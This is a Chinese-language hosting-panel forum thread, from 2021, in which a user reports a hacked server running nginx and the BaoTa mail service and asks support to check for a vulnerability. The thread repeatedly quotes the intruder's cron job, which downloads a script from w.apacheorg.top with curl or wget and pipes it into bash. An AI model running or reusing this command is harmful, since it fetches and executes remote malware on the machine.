【待反馈】服务器中毒

30 23 * * * (curl -s http://w.apacheorg.top:1234/xmss||wget -q -O - http://w.apacheorg.top:1234/xmss )|bash -sh


我们的服务器装的nginx ，也开启了nginx防火墙，但是还是会被黑，定时任务中添加了上述内容。
我们安装的应用程度都是通过nginx代理。
其他插件服务安装了宝塔邮局，mysql  redis，mysql和redis平时都是内网访问，不暴露。
麻烦查一下邮局这个是否存在安全漏洞。

您好，如方便的话，私信发我服务器登陆信息。同时我们自己也是在邮局服务的，这个应该不存在漏洞什么的。

谢花郎 发表于 2021-3-25 15:20
您好，如方便的话，私信发我服务器登陆信息。同时我们自己也是在邮局服务的，这个应该不存在漏洞什么的。 ...

已经发消息给你

宝塔用户_uqkdmc 发表于 2021-3-25 15:37
已经发消息给你

这个定时任务是你们自行添加的？还是入侵者添加的？


30 23 * * * (curl -s http://w.apacheorg.top:1234/xmss||wget -q -O - http://w.apacheorg.top:1234/xmss )|bash -sh

入侵者添加的

/usr/local/usranalyse/logs/log/root/  这个文件夹下面的日志包含大量内容：curl -s http://w.apacheorg.top:1234/xmss||wget -q -O - http://w.apacheorg.top:1234/xmss

宝塔用户_uqkdmc 发表于 2021-3-25 15:50
/usr/local/usranalyse/logs/log/root/  这个文件夹下面的日志包含大量内容：curl -s http://w.apacheorg.t ...

你加一下这个QQ：1249648969，目前确定问题了。你跟他详聊。